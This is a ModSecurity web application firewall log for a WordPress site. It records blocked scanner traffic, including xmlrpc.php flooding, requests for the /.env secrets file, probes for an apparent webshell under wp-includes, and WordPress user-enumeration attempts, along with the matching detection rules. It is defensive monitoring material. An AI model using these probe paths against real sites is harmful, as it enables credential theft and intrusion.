[Tue May 05 20:52:20.957278 2026] [:error] [pid 25835:tid 25845] [client 189.7.125.182:1843] [client 189.7.125.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.7.125.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afnoBFDT5nGJyh1439zlrAAAAQg"]
[Tue May 05 20:52:59.940824 2026] [:error] [pid 2324:tid 2349] [client 189.7.125.182:2021] [client 189.7.125.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.7.125.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afnoK2qe2hrcI52A1HyHEAAAAVc"]
[Tue May 05 20:53:38.926770 2026] [:error] [pid 25743:tid 25768] [client 189.7.125.182:1951] [client 189.7.125.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.7.125.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afnoUm-PCMRhF5DdUnPsMwAAABU"]
[Tue May 05 21:45:46.631050 2026] [:error] [pid 2324:tid 2335] [client 54.37.252.36:35412] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afn0imqe2hrcI52A1HyYsgAAAUk"]
[Tue May 05 21:45:48.878691 2026] [:error] [pid 25745:tid 25824] [client 54.37.252.36:36536] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afn0jJsd7hb7vrvCNBlS6QAAANc"]
[Tue May 05 21:45:51.239747 2026] [:error] [pid 25745:tid 25812] [client 54.37.252.36:36552] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afn0j5sd7hb7vrvCNBlS7AAAAMs"]
[Tue May 05 21:45:57.650034 2026] [:error] [pid 25744:tid 25783] [client 54.37.252.36:36562] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afn0lSR8IuyzjkW06OP_MAAAAIk"]
[Tue May 05 21:45:59.687133 2026] [:error] [pid 25835:tid 25843] [client 54.37.252.36:50162] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afn0l1DT5nGJyh1439zsngAAAQY"]
[Tue May 05 21:46:01.768075 2026] [:error] [pid 2324:tid 2333] [client 54.37.252.36:50176] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afn0mWqe2hrcI52A1HyYxAAAAUc"]
[Tue May 05 21:46:04.084995 2026] [:error] [pid 54732:tid 54754] [client 54.37.252.36:50184] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afn0nLGgYlDOb3nfuJQuDAAAAFQ"]
[Tue May 05 21:46:06.080397 2026] [:error] [pid 2324:tid 2338] [client 54.37.252.36:50194] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afn0nmqe2hrcI52A1HyYzwAAAUw"]
[Tue May 05 21:46:08.382028 2026] [:error] [pid 2324:tid 2343] [client 54.37.252.36:38656] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afn0oGqe2hrcI52A1HyY0wAAAVE"]
[Tue May 05 21:46:10.573695 2026] [:error] [pid 2324:tid 2326] [client 54.37.252.36:38660] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afn0omqe2hrcI52A1HyY3AAAAUA"]
[Tue May 05 21:46:13.121828 2026] [:error] [pid 2324:tid 2330] [client 54.37.252.36:38668] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afn0pWqe2hrcI52A1HyY4AAAAUQ"]
[Tue May 05 21:46:15.239436 2026] [:error] [pid 25743:tid 25756] [client 54.37.252.36:38672] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afn0p2-PCMRhF5DdUnP6VgAAAAk"]
[Tue May 05 21:46:17.244031 2026] [:error] [pid 2324:tid 2346] [client 54.37.252.36:38684] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afn0qWqe2hrcI52A1HyY5QAAAVQ"]
[Tue May 05 21:46:19.774985 2026] [:error] [pid 2324:tid 2336] [client 54.37.252.36:56266] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afn0q2qe2hrcI52A1HyY7AAAAUo"]
[Tue May 05 21:46:22.044541 2026] [:error] [pid 2324:tid 2350] [client 54.37.252.36:56280] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afn0rmqe2hrcI52A1HyY7gAAAVg"]
[Tue May 05 21:46:24.649530 2026] [:error] [pid 2324:tid 2329] [client 54.37.252.36:56288] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afn0sGqe2hrcI52A1HyY9QAAAUM"]
[Tue May 05 21:46:26.812962 2026] [:error] [pid 25745:tid 25807] [client 54.37.252.36:56302] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "afn0spsd7hb7vrvCNBlS-AAAAMY"]
[Tue May 05 21:46:29.083632 2026] [:error] [pid 2324:tid 2333] [client 54.37.252.36:59670] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "afn0tWqe2hrcI52A1HyY-wAAAUc"]
[Tue May 05 21:46:31.392130 2026] [:error] [pid 25744:tid 25790] [client 54.37.252.36:59686] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afn0tyR8IuyzjkW06OP_UAAAAJA"]
[Tue May 05 21:46:33.755934 2026] [:error] [pid 25835:tid 25837] [client 54.37.252.36:59690] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afn0uVDT5nGJyh1439zsqgAAAQA"]
[Tue May 05 22:08:52.847401 2026] [:error] [pid 25745:tid 25818] [client 194.62.107.49:57737] [client 194.62.107.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "afn59Jsd7hb7vrvCNBlWUgAAANE"]
[Tue May 05 23:27:29.561038 2026] [:error] [pid 2324:tid 2340] [client 103.76.88.36:54079] [client 103.76.88.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "afoMYWqe2hrcI52A1Hy7IwAAAU4"]
[Tue May 05 23:51:04.930608 2026] [:error] [pid 25743:tid 25748] [client 180.211.111.230:20267] [client 180.211.111.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.211.111.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afoR6G-PCMRhF5DdUnMa1AAAAAE"]
[Tue May 05 23:51:15.228621 2026] [:error] [pid 2324:tid 2331] [client 180.211.111.230:49396] [client 180.211.111.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.211.111.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afoR82qe2hrcI52A1HzB2AAAAUU"]
[Tue May 05 23:51:26.548113 2026] [:error] [pid 54732:tid 54746] [client 180.211.111.230:21756] [client 180.211.111.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.211.111.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afoR_rGgYlDOb3nfuJRDowAAAEw"]
[Tue May 05 23:51:37.689851 2026] [:error] [pid 25745:tid 25813] [client 180.211.111.230:46581] [client 180.211.111.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.211.111.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afoSCZsd7hb7vrvCNBlicgAAAMw"]
[Tue May 05 23:51:48.273839 2026] [:error] [pid 25743:tid 25760] [client 180.211.111.230:35720] [client 180.211.111.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.211.111.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afoSFG-PCMRhF5DdUnMa8wAAAA0"]
[Wed May 06 00:18:29.883880 2026] [:error] [pid 25744:tid 25794] [client 45.154.98.197:64420] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afoYVSR8IuyzjkW06OMeEwAAAJQ"]
[Wed May 06 00:18:30.386745 2026] [:error] [pid 25744:tid 25781] [client 45.154.98.197:64565] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afoYViR8IuyzjkW06OMeFQAAAIc"]
[Wed May 06 00:18:30.890392 2026] [:error] [pid 25744:tid 25785] [client 45.154.98.197:64695] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afoYViR8IuyzjkW06OMeIgAAAIs"]
[Wed May 06 00:18:33.732604 2026] [:error] [pid 25743:tid 25750] [client 45.154.98.197:65454] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "afoYWW-PCMRhF5DdUnMjgQAAAAM"]
[Wed May 06 00:34:00.130977 2026] [:error] [pid 2324:tid 2340] [client 43.157.82.252:41510] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afob-Gqe2hrcI52A1HzP9QAAAU4"]
[Wed May 06 00:37:19.277847 2026] [:error] [pid 25743:tid 25756] [client 35.239.35.248:65354] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocv2-PCMRhF5DdUnMm-wAAAAk"]
[Wed May 06 00:37:22.746009 2026] [:error] [pid 25743:tid 25754] [client 35.239.35.248:65354] [client 35.239.35.248] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "afocwm-PCMRhF5DdUnMnAQAAAAc"]
[Wed May 06 00:37:24.165681 2026] [:error] [pid 25743:tid 25748] [client 35.239.35.248:65354] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocxG-PCMRhF5DdUnMnBAAAAAE"]
[Wed May 06 00:37:26.026953 2026] [:error] [pid 25743:tid 25764] [client 35.239.35.248:53846] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocxm-PCMRhF5DdUnMnCAAAABE"]
[Wed May 06 00:37:27.840448 2026] [:error] [pid 2324:tid 2328] [client 35.239.35.248:55131] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocx2qe2hrcI52A1HzQ7wAAAUI"]
[Wed May 06 00:37:29.737142 2026] [:error] [pid 2324:tid 2344] [client 35.239.35.248:56400] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocyWqe2hrcI52A1HzQ8gAAAVI"]
[Wed May 06 00:37:31.538143 2026] [:error] [pid 2324:tid 2348] [client 35.239.35.248:57680] [client 35.239.35.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.35.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocy2qe2hrcI52A1HzQ8wAAAVY"]
[Wed May 06 00:37:31.538352 2026] [:error] [pid 2324:tid 2348] [client 35.239.35.248:57680] [client 35.239.35.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.239.35.248, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afocy2qe2hrcI52A1HzQ8wAAAVY"]
[Wed May 06 01:44:08.527323 2026] [:error] [pid 25744:tid 25785] [client 43.157.142.101:53070] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afosaCR8IuyzjkW06OMtzgAAAIs"]
[Wed May 06 02:52:31.840747 2026] [:error] [pid 54732:tid 54742] [client 34.123.219.159:55691] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8b7GgYlDOb3nfuJRg3gAAAEg"]
[Wed May 06 02:52:35.207303 2026] [:error] [pid 54732:tid 54741] [client 34.123.219.159:55691] [client 34.123.219.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "afo8c7GgYlDOb3nfuJRg6gAAAEc"]
[Wed May 06 02:52:36.600389 2026] [:error] [pid 54732:tid 54753] [client 34.123.219.159:55691] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8dLGgYlDOb3nfuJRg8QAAAFM"]
[Wed May 06 02:52:38.424183 2026] [:error] [pid 25835:tid 25839] [client 34.123.219.159:54515] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8dlDT5nGJyh1439wWJwAAAQI"]
[Wed May 06 02:52:40.375922 2026] [:error] [pid 25835:tid 25855] [client 34.123.219.159:63378] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8eFDT5nGJyh1439wWKgAAARI"]
[Wed May 06 02:52:42.276319 2026] [:error] [pid 2324:tid 2341] [client 34.123.219.159:58741] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8emqe2hrcI52A1Hz8qQAAAU8"]
[Wed May 06 02:52:44.079659 2026] [:error] [pid 25835:tid 25854] [client 34.123.219.159:61997] [client 34.123.219.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.219.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8fFDT5nGJyh1439wWMQAAARE"]
[Wed May 06 02:52:44.079855 2026] [:error] [pid 25835:tid 25854] [client 34.123.219.159:61997] [client 34.123.219.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.123.219.159, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afo8fFDT5nGJyh1439wWMQAAARE"]
[Wed May 06 06:34:07.741214 2026] [:error] [pid 48759:tid 48837] [client 49.51.253.83:41972] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afpwX6mcftH9JrQl_yHYHgAAAI8"]
[Wed May 06 07:44:07.389812 2026] [:error] [pid 9789:tid 9798] [client 14.191.172.34:13198] [client 14.191.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.191.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqAxz_YStPJSCHPkUX6CQAAAEc"]
[Wed May 06 08:32:50.213124 2026] [:error] [pid 9659:tid 9736] [client 114.119.130.102:38639] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqMMvwJnWjd8JHpBts_9AAAAMI"]
